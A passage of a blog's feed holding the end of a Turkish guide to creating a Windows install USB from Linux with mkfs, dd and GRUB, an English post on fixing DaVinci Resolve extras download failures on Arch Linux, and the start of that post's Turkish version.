&lt;p&gt;De&amp;gbreve;i&amp;scedil;iklikleri kaydedip &amp;ccedil;&amp;inodot;k&amp;inodot;n:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;r&lt;/code&gt; tu&amp;scedil;una basarak uzman modundan &amp;ccedil;&amp;inodot;k&amp;inodot;n.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;w&lt;/code&gt; tu&amp;scedil;una basarak de&amp;gbreve;i&amp;scedil;iklikleri diske yaz&amp;inodot;n.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="adm-3-usb-surucusunu-bicimlendirme"&gt;👣 Ad&amp;inodot;m 3: USB S&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;n&amp;uuml; Bi&amp;ccedil;imlendirme&lt;a class="headerlink" href="#adm-3-usb-surucusunu-bicimlendirme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;B&amp;uuml;y&amp;uuml;k Windows dosyalar&amp;inodot;n&amp;inodot; ta&amp;scedil;&amp;inodot;yabilmesi i&amp;ccedil;in veri b&amp;ouml;l&amp;uuml;m&amp;uuml; i&amp;ccedil;in &lt;strong&gt;NTFS&lt;/strong&gt;, &amp;ouml;ny&amp;uuml;kleme b&amp;ouml;l&amp;uuml;m&amp;uuml; i&amp;ccedil;in ise &lt;strong&gt;FAT32&lt;/strong&gt; dosya sistemi kullanaca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NTFS i&amp;ccedil;in (Veri B&amp;ouml;l&amp;uuml;m&amp;uuml;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkfs.ntfs&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;FAT32 i&amp;ccedil;in (&amp;Ouml;ny&amp;uuml;kleme B&amp;ouml;l&amp;uuml;m&amp;uuml;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkfs.vfat&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! &lt;code&gt;/dev/sdX1&lt;/code&gt; ve &lt;code&gt;/dev/sdX2&lt;/code&gt; k&amp;inodot;s&amp;inodot;mlar&amp;inodot;n&amp;inodot; kendi USB s&amp;uuml;r&amp;uuml;c&amp;uuml;n&amp;uuml;ze g&amp;ouml;re do&amp;gbreve;ru yazd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zdan mutlaka emin olun.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-4-windows-iso-dosyalarn-usbye-kopyalama"&gt;👣 Ad&amp;inodot;m 4: Windows ISO Dosyalar&amp;inodot;n&amp;inodot; USB&amp;rsquo;ye Kopyalama&lt;a class="headerlink" href="#adm-4-windows-iso-dosyalarn-usbye-kopyalama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;ISO dosyas&amp;inodot;n&amp;inodot; ve USB s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;n&amp;uuml; sisteme ba&amp;gbreve;lay&amp;inodot;p, i&amp;ccedil;erikleri kopyal&amp;inodot;yoruz:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ba&amp;gbreve;lama noktalar&amp;inodot; (mount points) olu&amp;scedil;turun:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/mnt/drive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ISO ve USB diskini ba&amp;gbreve;lay&amp;inodot;n:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;loop&lt;span class="w"&gt; &lt;/span&gt;/path/to/your.iso&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1&lt;span class="w"&gt; &lt;/span&gt;/mnt/drive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dosyalar&amp;inodot; kopyalay&amp;inodot;n:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso/*&lt;span class="w"&gt; &lt;/span&gt;/mnt/drive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: Bu i&amp;scedil;lem USB h&amp;inodot;z&amp;inodot;n&amp;inodot;za ba&amp;gbreve;l&amp;inodot; olarak 10-15 dakika kadar s&amp;uuml;rebilir. Sakin olun, bir &amp;ccedil;ay daha koyun.&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ISO&amp;rsquo;yu ay&amp;inodot;r&amp;inodot;n:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
sudo&lt;span class="w"&gt; &lt;/span&gt;rmdir&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-5-rufus-onyukleme-goruntusunu-yazma"&gt;👣 Ad&amp;inodot;m 5: Rufus &amp;Ouml;ny&amp;uuml;kleme G&amp;ouml;r&amp;uuml;nt&amp;uuml;s&amp;uuml;n&amp;uuml; Yazma&lt;a class="headerlink" href="#adm-5-rufus-onyukleme-goruntusunu-yazma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;ncelikle Rufus&lt;sup id="fnref:Rufus"&gt;&lt;a class="footnote-ref" href="#fn:Rufus"&gt;2&lt;/a&gt;&lt;/sup&gt; resmi deposundan &amp;ouml;ny&amp;uuml;kleme imaj&amp;inodot;n&amp;inodot; &amp;ccedil;ekiyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;https://github.com/pbatard/rufus/raw/master/res/uefi/uefi-ntfs.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;ndirdi&amp;gbreve;iniz &lt;code&gt;uefi-ntfs.img&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; USB&amp;rsquo;nin ikinci b&amp;ouml;l&amp;uuml;m&amp;uuml;ne yazmak i&amp;ccedil;in &lt;code&gt;dd&lt;/code&gt; komutunu ko&amp;scedil;turuyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/path/to/uefi-ntfs.img&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdX2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1M&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;progress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Kritik Uyar&amp;inodot;! &lt;code&gt;/dev/sdX2&lt;/code&gt; k&amp;inodot;sm&amp;inodot;n&amp;inodot; do&amp;gbreve;ru s&amp;uuml;r&amp;uuml;c&amp;uuml; ad&amp;inodot;yla de&amp;gbreve;i&amp;scedil;tirin. Yanl&amp;inodot;&amp;scedil; bir ayg&amp;inodot;t ad&amp;inodot; girerseniz sistem diskiniz dahil &amp;ouml;nemli verileriniz an&amp;inodot;nda u&amp;ccedil;up gidebilir! Bizzat dikkat edin!&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-6-onyukleyici-bootloader-kurulumu"&gt;👣 Ad&amp;inodot;m 6: &amp;Ouml;ny&amp;uuml;kleyici (Bootloader) Kurulumu&lt;a class="headerlink" href="#adm-6-onyukleyici-bootloader-kurulumu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;ny&amp;uuml;kleyiciyi kurmak i&amp;ccedil;in &lt;code&gt;grub&lt;/code&gt; kullanaca&amp;gbreve;&amp;inodot;z. Kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z da&amp;gbreve;&amp;inodot;t&amp;inodot;ma g&amp;ouml;re komutlar k&amp;uuml;&amp;ccedil;&amp;uuml;k farkl&amp;inodot;l&amp;inodot;klar g&amp;ouml;sterebilir.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: Debian/Ubuntu Kullan&amp;inodot;c&amp;inodot;lar&amp;inodot; &amp;Idot;&amp;ccedil;in&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er &lt;code&gt;grub2-install&lt;/code&gt; komutu bulunamazsa, sisteminiz &lt;code&gt;grub-install&lt;/code&gt; kullan&amp;inodot;yor olabilir. Ayr&amp;inodot;ca, &lt;code&gt;i386-pc&lt;/code&gt; hedefi i&amp;ccedil;in &lt;code&gt;grub-pc&lt;/code&gt; paketinin kurulu olmas&amp;inodot; gerekebilir. Kurmak i&amp;ccedil;in: &lt;code&gt;sudo apt-get install grub-pc&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;grub2-install&lt;/code&gt; (veya &lt;code&gt;grub-install&lt;/code&gt;) komutunu kullanarak &amp;ouml;ny&amp;uuml;kleyiciyi diske g&amp;ouml;m&amp;uuml;yoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;grub2-install&lt;span class="w"&gt; &lt;/span&gt;--target&lt;span class="o"&gt;=&lt;/span&gt;i386-pc&lt;span class="w"&gt; &lt;/span&gt;--boot-directory&lt;span class="o"&gt;=&lt;/span&gt;/mnt/drive&lt;span class="w"&gt; &lt;/span&gt;--force&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--boot-directory=/mnt/drive&lt;/code&gt;: USB&amp;rsquo;nin Windows veri b&amp;ouml;l&amp;uuml;m&amp;uuml;n&amp;uuml;n ba&amp;gbreve;land&amp;inodot;&amp;gbreve;&amp;inodot; yer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/sdX&lt;/code&gt;: USB ayg&amp;inodot;t&amp;inodot;n&amp;inodot;n kendisi (b&amp;ouml;l&amp;uuml;m numaras&amp;inodot; olmadan).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="adm-7-onyuklenebilir-usbyi-test-etme"&gt;👣 Ad&amp;inodot;m 7: &amp;Ouml;ny&amp;uuml;klenebilir USB&amp;rsquo;yi Test Etme&lt;a class="headerlink" href="#adm-7-onyuklenebilir-usbyi-test-etme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Her &amp;scedil;ey bitti! USB'yi g&amp;uuml;venli bir &amp;scedil;ekilde ay&amp;inodot;r&amp;inodot;n (&lt;code&gt;sudo umount /mnt/drive&lt;/code&gt;), hedef sisteme tak&amp;inodot;n ve BIOS/UEFI ayarlar&amp;inodot;ndan &lt;strong&gt;USB &amp;ouml;ncelikli &amp;ouml;ny&amp;uuml;kleme&lt;/strong&gt; yap&amp;inodot;n. E&amp;gbreve;er UEFI sistemlerde sorun ya&amp;scedil;arsan&amp;inodot;z &lt;strong&gt;Secure Boot&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;ini ge&amp;ccedil;ici olarak devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakmay&amp;inodot; unutmay&amp;inodot;n.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="yaygn-sorunlar-ve-cozumleri"&gt;🛠️ Yayg&amp;inodot;n Sorunlar ve &amp;Ccedil;&amp;ouml;z&amp;uuml;mleri&lt;a class="headerlink" href="#yaygn-sorunlar-ve-cozumleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;Ouml;ny&amp;uuml;kleyici Hatalar&amp;inodot; (Boot Etmiyor):&lt;/strong&gt;
    USB &amp;ouml;ny&amp;uuml;kleme yapm&amp;inodot;yorsa, sisteminizde UEFI yerine Legacy BIOS deste&amp;gbreve;inin aktif olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; veya ISO b&amp;uuml;t&amp;uuml;nl&amp;uuml;&amp;gbreve;&amp;uuml;n&amp;uuml; kontrol edin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Idot;zin Hatalar&amp;inodot; (Permission Denied):&lt;/strong&gt;
    Disk i&amp;scedil;lemleri do&amp;gbreve;rudan sisteme etki etti&amp;gbreve;i i&amp;ccedil;in t&amp;uuml;m bu komutlar&amp;inodot; mutlaka &lt;code&gt;sudo&lt;/code&gt; yetkisiyle &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmal&amp;inodot;s&amp;inodot;n&amp;inodot;z.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bozuk ISO Dosyas&amp;inodot;:&lt;/strong&gt;
    &amp;Idot;ndirdi&amp;gbreve;iniz ISO dosyas&amp;inodot;n&amp;inodot;n bozuk olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; anlamak i&amp;ccedil;in SHA256 kontrol&amp;uuml;n&amp;uuml; yap&amp;inodot;n:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sha256sum&lt;span class="w"&gt; &lt;/span&gt;/path/to/windows.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc"&gt;🎯 Sonu&amp;ccedil;&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu ad&amp;inodot;mlar&amp;inodot; takip ederek hi&amp;ccedil;bir harici grafiksel yaz&amp;inodot;l&amp;inodot;ma ihtiya&amp;ccedil; duymadan, tamamen terminal &amp;uuml;zerinden aslanlar gibi &amp;ccedil;al&amp;inodot;&amp;scedil;an &lt;strong&gt;Windows kurulum USB'si&lt;/strong&gt; haz&amp;inodot;rlayabilirsiniz. Linux'ta &amp;ccedil;&amp;ouml;z&amp;uuml;m t&amp;uuml;kenmez! &lt;/p&gt;
&lt;p&gt;Kafan&amp;inodot;za tak&amp;inodot;lan veya tak&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z bir ad&amp;inodot;m olursa yorumlarda bulu&amp;scedil;al&amp;inodot;m, sistemi beraber aya&amp;gbreve;a kald&amp;inodot;r&amp;inodot;r&amp;inodot;z! 😉&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="kaynaklar"&gt;🔗 Kaynaklar&lt;a class="headerlink" href="#kaynaklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Daha fazla bilgi i&amp;ccedil;in &lt;a href="/linux-uefi-windows10-usb/"&gt;Linux&amp;rsquo;ta UEFI destekli Windows 10 USB olu&amp;scedil;turma rehberine&lt;/a&gt; g&amp;ouml;z atabilirsiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="USB Bellekten ISO &amp;Ouml;ny&amp;uuml;kleme Rehberi" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/usb-bellekten-iso-onyukleme-rehberi-xl.webp" srcset="/images/usb-bellekten-iso-onyukleme-rehberi-sm.webp 300w, /images/usb-bellekten-iso-onyukleme-rehberi-md.webp 500w, /images/usb-bellekten-iso-onyukleme-rehberi-lg.webp 800w, /images/usb-bellekten-iso-onyukleme-rehberi-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:El-Torito"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/ISO_9660#El_Torito" rel="noopener noreferrer" target="_blank"&gt;https://en.wikipedia.org/wiki/ISO_9660#El_Torito&lt;/a&gt;&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:El-Torito" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:Rufus"&gt;
&lt;p&gt;&lt;a href="https://rufus.ie/en/" rel="noopener noreferrer" target="_blank"&gt;https://rufus.ie/en/&lt;/a&gt;&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:Rufus" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="iso"/><category term="usb"/><category term="önyükleme"/><category term="el-torito"/><category term="rehber"/><category term="windows10"/><category term="windows11"/><category term="format"/><category term="uefi"/></entry><entry><title>DaVinci Resolve Extras Download Failed: Problem and Solution</title><link href="https://yuceltoluyag.github.io/en/davinci-resolve-extras-download-failed/" rel="alternate"/><published>2025-11-09T18:00:00+03:00</published><updated>2025-11-09T18:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-09:/en/davinci-resolve-extras-download-failed/</id><summary type="html">&lt;p&gt;A step-by-step guide to solving the DaVinci Resolve "Extras in the Download Manager" and AI Voice Training download issues on Arch Linux.&lt;/p&gt;</summary><content type="html">&lt;h2 id="ai-voice-training-and-extras-download-issue"&gt;AI Voice Training and Extras Download Issue 🎤&lt;a class="headerlink" href="#ai-voice-training-and-extras-download-issue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;You couldn't download content from the "Extras in the Download Manager" menu (AI Voice Training, other extras).&lt;/li&gt;
&lt;li&gt;When trying to download the AI Voice Training module, you would get an error like: &lt;code&gt;'download failed'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reason:&lt;/strong&gt; TLS/SSL connection issues and some packages being missing or in the wrong location.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;These modules are especially necessary for adding subtitles to videos in languages other than English and for training or cloning your own voice.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-steps"&gt;Solution Steps&lt;a class="headerlink" href="#solution-steps" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Resolve the TLS/SSL connection issue:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/etc/pki/tls/certs
sudo&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/etc/ssl/certs/ca-certificates.crt&lt;span class="w"&gt; &lt;/span&gt;/etc/pki/tls/certs/ca-bundle.crt
sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Syu&lt;span class="w"&gt; &lt;/span&gt;ca-certificates
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run Resolve with environment variables:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;CURL_CA_BUNDLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/ssl/certs/ca-certificates.crt&lt;span class="w"&gt; &lt;/span&gt;/opt/resolve/bin/resolve
&lt;span class="c1"&gt;# or&lt;/span&gt;
&lt;span class="nv"&gt;SSL_CERT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/ssl/certs/ca-certificates.crt&lt;span class="w"&gt; &lt;/span&gt;/opt/resolve/bin/resolve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check for library conflicts:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/opt/resolve/libs
sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;disabled-libraries
sudo&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;libglib*&lt;span class="w"&gt; &lt;/span&gt;libgio*&lt;span class="w"&gt; &lt;/span&gt;libgmodule*&lt;span class="w"&gt; &lt;/span&gt;disabled-libraries/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Restart Resolve and download the AI Voice Training or other extras content from the Download Manager.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="tlsssl-connection-issue_1"&gt;TLS/SSL Connection Issue 🔒&lt;a class="headerlink" href="#tlsssl-connection-issue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DaVinci Resolve was giving a TLS handshake error (&lt;code&gt;ERROR code 77&lt;/code&gt;) when loading packages over the internet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reason:&lt;/strong&gt; The CA certificate file was not found in the path expected by the application.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Solution:&lt;/strong&gt; The TLS/SSL steps above already resolve this error.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="symbol-lookup-error-with-libpango"&gt;&lt;code&gt;symbol lookup error&lt;/code&gt; with &lt;code&gt;libpango&lt;/code&gt; ⚠️&lt;a class="headerlink" href="#symbol-lookup-error-with-libpango" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./resolve:&lt;span class="w"&gt; &lt;/span&gt;symbol&lt;span class="w"&gt; &lt;/span&gt;lookup&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;/usr/lib/libpango-1.0.so.0:&lt;span class="w"&gt; &lt;/span&gt;undefined&lt;span class="w"&gt; &lt;/span&gt;symbol:&lt;span class="w"&gt; &lt;/span&gt;g_once_init_leave_pointer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reason:&lt;/strong&gt; Some libraries in the DaVinci Resolve package (&lt;code&gt;libglib*&lt;/code&gt;, &lt;code&gt;libgio*&lt;/code&gt;, &lt;code&gt;libgmodule*&lt;/code&gt;) might be conflicting with system libraries.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; This error can be fixed with the "Check for library conflicts" steps mentioned above.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion"&gt;Conclusion ✅&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;TLS/SSL issues and library conflicts have been resolved.&lt;/li&gt;
&lt;li&gt;AI Voice Training and other extras can now be downloaded smoothly from the "Extras in the Download Manager" menu.&lt;/li&gt;
&lt;li&gt;It is now possible to add subtitles for non-English videos and train your own voice.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="my-notes"&gt;My Notes 📝&lt;a class="headerlink" href="#my-notes" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AI Voice Training or other extras download issues are mostly caused by TLS and certificate deficiencies.&lt;/li&gt;
&lt;li&gt;Environment variables and library management offer fast and secure solutions.&lt;/li&gt;
&lt;li&gt;Since Resolve includes its own libraries, conflicts with system libraries can sometimes occur.&lt;/li&gt;
&lt;li&gt;Temporarily disabling conflicting libraries resolves download and operational problems.&lt;/li&gt;
&lt;li&gt;These steps have been tested on Arch Linux and similar distributions; similar solutions can be applied on other distributions.&lt;/li&gt;
&lt;li&gt;If Davinci Resolve does not open, you can also read our article on this topic: &lt;a href="/en/davinci-resolve-20-1-linux-hatasi-cozumu/"&gt;DaVinci Resolve 20.1 Not Opening on Linux: Error and Solution&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="DaVinci Resolve Extras Download Issue Solution" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/davinci-resolve-extras-ai-voice-xl.webp" srcset="/images/davinci-resolve-extras-ai-voice-sm.webp 300w, /images/davinci-resolve-extras-ai-voice-md.webp 500w, /images/davinci-resolve-extras-ai-voice-lg.webp 800w, /images/davinci-resolve-extras-ai-voice-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Linux"/><category term="DaVinci Resolve"/><category term="AI Voice Training"/><category term="Extras"/><category term="Arch Linux"/><category term="Troubleshooting"/></entry><entry><title>DaVinci Resolve Extras Download Failed Sorunu ve Çözümü</title><link href="https://yuceltoluyag.github.io/davinci-resolve-extras-download-failed/" rel="alternate"/><published>2025-11-09T18:00:00+03:00</published><updated>2025-11-09T18:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-09:/davinci-resolve-extras-download-failed/</id><summary type="html">&lt;p&gt;Arch Linux üzerinde DaVinci Resolve Extras in the Download Manager ve AI Voice Training indirme sorunlarının çözümü için adım adım rehber.&lt;/p&gt;</summary><content type="html">&lt;h2 id="ai-voice-training-ve-extras-indirme-sorunu"&gt;AI Voice Training ve Extras &amp;Idot;ndirme Sorunu 🎤&lt;a class="headerlink" href="#ai-voice-training-ve-extras-indirme-sorunu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;Extras in the Download Manager&amp;rdquo; men&amp;uuml;s&amp;uuml;ndeki i&amp;ccedil;erikleri (AI Voice Training, di&amp;gbreve;er ekstralar) indiremiyordunuz.&lt;/li&gt;
